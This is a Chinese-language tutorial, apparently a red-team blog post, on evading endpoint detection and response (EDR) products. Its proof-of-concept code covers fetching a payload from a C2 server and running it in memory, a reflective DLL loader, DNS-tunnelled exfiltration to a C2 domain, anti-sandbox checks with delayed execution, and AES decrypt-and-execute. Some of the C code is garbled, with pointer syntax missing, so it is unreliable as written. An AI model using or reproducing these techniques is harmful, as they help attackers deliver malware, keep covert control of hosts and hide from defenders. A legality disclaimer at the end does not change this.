一、EDR的本质运作:攻击者眼中的防御者

要绕过EDR(Endpoint Detection and Response),首先需要深入理解它的工作原理。从攻击者的角度看,EDR的功能可以概括为以下几部分:

  1. 行为分析
  2. 通过实时监控进程行为,捕获可疑操作,例如注入、加载恶意模块、异常网络连接等。它会将这些行为与已知恶意模式对比,触发相应的警报。

  1. 内存扫描
  2. 现代EDR会定期扫描内存中的代码段,寻找类似Shellcode、恶意Payload的痕迹,甚至尝试静态分析各种解密后的内存数据。

  1. 事件关联
  2. 将文件操作、进程调用、注册表修改和网络行为关联起来,形成完整的攻击链,从而识别复杂攻击。

  1. 通信与响应
  2. EDR会将捕获数据上报到云端进行进一步分析,并根据策略执行隔离、终止进程等主动响应措施。

攻击者若想绕过EDR,必须针对这些核心功能进行对抗,找到绕过点,例如隐藏恶意代码、规避行为检测、逃逸内存扫描等。

---

二、内存加载技术:绕过文件落地检测

为什么内存加载是绕过关键?

大多数EDR会对文件落地进行严格监控,包括对磁盘上的可执行文件、DLL进行哈希计算、静态分析甚至沙箱模拟。这意味着直接将恶意代码写到磁盘上几乎等于暴露。但如果将代码加载到目标机器的内存中执行,便能绕过这一层防护。

我们可以利用 Reflective DLL Injection 技术,通过网络传输恶意Payload,直接将其加载到内存中运行,从而避免文件扫描。

POC代码:使用Python+C实现内存加载

以下代码展示了如何从远程C2服务器下载一个Payload,并反射性加载到内存执行。C部分负责在目标机器上执行加载逻辑。

Python代码:下载Payload并触发

<pre><code class="language-python">import requests import ctypes

C2服务器地址

C2_URL = &quot;http://your-c2-server/payload.bin&quot;

def download_payload(): print(&quot;[*] 下载Payload...&quot;) response = requests.get(C2_URL) if response.status_code == 200: print(&quot;[+] 下载成功,长度:&quot;, len(response.content)) return response.content else: print(&quot;[-] 下载失败,状态码:&quot;, response.status_code) return None

黑客示意图

def execute_payload(payload): print(&quot;[*] 加载到内存执行...&quot;)

使用ctypes加载内存中的恶意代码

buffer = ctypes.create_string_buffer(payload) ptr = ctypes.cast(buffer, ctypes.CFUNCTYPE(None)) ptr()

if __name__ == &#039;__main__&#039;: payload = download_payload() if payload: execute_payload(payload)</code></pre>

黑客示意图

C代码:实现反射性DLL加载

以下是用于反射性加载Payload的核心C代码。它假设Payload是一个已编译的DLL文件。

<pre><code class="language-c">#include &lt;windows.h&gt;

include &lt;stdio.h&gt;

// 自定义LoadLibrary函数,用于从内存加载DLL void ReflectiveLoadLibrary(void payload) { void module_base = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (module_base == NULL) { printf(&quot;Failed to allocate memory\n&quot;); return; }

memcpy(module_base, payload, 4096); printf(&quot;Payload loaded to memory at: %p\n&quot;, module_base);

// 假设入口点在偏移位置0x1000 void (DllEntry)(void) = (void ()())((char *)module_base + 0x1000); DllEntry(); }</code></pre>

---

三、流量伪装:让EDR的网络监控失效

原理与挑战

EDR会重点监控恶意程序的网络流量,普通的HTTP/HTTPS流量常被标记为高风险行为。为了绕过,攻击者可以设计一种C2通信协议,伪装成日常流量,比如DNS查询、合法用户数据上传等。

POC实现:伪装DNS查询的C2通信

以下Python代码展示了如何通过DNS查询进行C2通信,避免被EDR标记。

<pre><code class="language-python">import dns.resolver import base64

C2_DOMAIN = &quot;your-c2-domain.com&quot;

def send_data(data): print(&quot;[] 准备伪装数据并发送...&quot;) encoded_data = base64.b64encode(data.encode()).decode() query = f&quot;{encoded_data}.{C2_DOMAIN}&quot; print(&quot;[] 查询域名:&quot;, query) try: dns.resolver.resolve(query, &quot;A&quot;) print(&quot;[+] 数据发送成功&quot;) except Exception as e: print(&quot;[-] 发送失败:&quot;, str(e))

if __name__ == &#039;__main__&#039;: send_data(&quot;Hello, this is a test message&quot;)</code></pre>

---

四、反沙箱技术:逃逸动态分析

针对EDR沙箱的策略

EDR为了识别恶意程序,可能会利用沙箱技术动态分析样本行为。攻击者可以通过以下技术检测沙箱环境:

  1. 环境特征检测:检查是否存在虚拟机特征,比如特定的进程、硬件ID。
  2. 时间延迟策略:通过延时触发Payload,绕过短时间分析。

针对虚拟机的沙箱检测代码

<pre><code class="language-python">import os import time

def is_sandbox(): suspicious_files = [ &quot;C:\\Windows\\System32\\drivers\\vmhgfs.sys&quot;, # VMware特征 &quot;C:\\Windows\\System32\\VBoxTray.exe&quot; # VirtualBox特征 ] for file in suspicious_files: if os.path.exists(file): return True return False

def delayed_execution(): print(&quot;[*] 等待沙箱超时...&quot;) time.sleep(300) # 等待5分钟,绕过沙箱分析 print(&quot;[+] 延时结束,开始执行恶意行为&quot;)

if __name__ == &#039;__main__&#039;: if not is_sandbox(): delayed_execution() else: print(&quot;[-] 沙箱环境,退出执行&quot;)</code></pre>

---

黑客示意图

五、绕过内存扫描:加密与解密的博弈

技术原理

EDR内存扫描是攻击者最难绕过的技术之一。其核心在于实时解密和扫描内存中的可疑代码段。为了规避这一点,攻击者可以使用 动态解密执行 技术,只在需要时解密恶意代码,执行完毕后立即清除。

动态解密实现

以下代码展示了如何使用AES加密保护恶意Payload,运行时解密到内存中执行。

Python代码:加密Payload

<pre><code class="language-python">from Crypto.Cipher import AES import base64

注意:密钥和IV应该在实际攻击中动态生成

KEY = b&quot;this_is_a_16byte&quot; IV = b&quot;this_is_a_16byte&quot;

def encrypt_payload(payload): cipher = AES.new(KEY, AES.MODE_CBC, IV) padding_length = 16 - (len(payload) % 16) payload += chr(padding_length) * padding_length encrypted_payload = cipher.encrypt(payload.encode()) return base64.b64encode(encrypted_payload).decode()

if __name__ == &#039;__main__&#039;: raw_payload = &quot;Your malicious code here&quot; encrypted = encrypt_payload(raw_payload) print(f&quot;加密后的Payload: {encrypted}&quot;)</code></pre>

C代码:解密并执行

<pre><code class="language-c">#include &lt;windows.h&gt;

include &lt;openssl/aes.h&gt;

include &lt;string.h&gt;

void DecryptAndExecute(char encrypted_payload, size_t len, unsigned char key, unsigned char *iv) { AES_KEY decryptKey; AES_set_decrypt_key(key, 128, &amp;decryptKey);

unsigned char decrypted_payload = (unsigned char )malloc(len); AES_cbc_encrypt((unsigned char *)encrypted_payload, decrypted_payload, len, &amp;decryptKey, iv, AES_DECRYPT);

printf(&quot;[*] Payload decrypted\n&quot;);

黑客示意图

// 执行解密后的Payload void (payload_fn)() = (void ()())decrypted_payload; payload_fn(); }</code></pre>

---

六、个人经验分享:与EDR对抗的关键思路

从我的实战经验来看,绕过EDR的核心在于 动态性和对抗性

  1. 动态加载与执行:避免在磁盘上留下任何痕迹,所有的恶意操作都应当在内存中完成。
  2. 行为伪装:尽可能模仿合法程序的行为,减少异常操作。
  3. 多样化策略:结合动态解密、流量伪装、反沙箱技术,形成多层次对抗能力。

当然,对抗EDR的技术在不断演进,攻击者也必须不断学习、更新技术,保持对防御手段的领先。

---

合法声明:本文仅供授权的红队研究和合法安全测试使用,任何非法用途均与作者无关!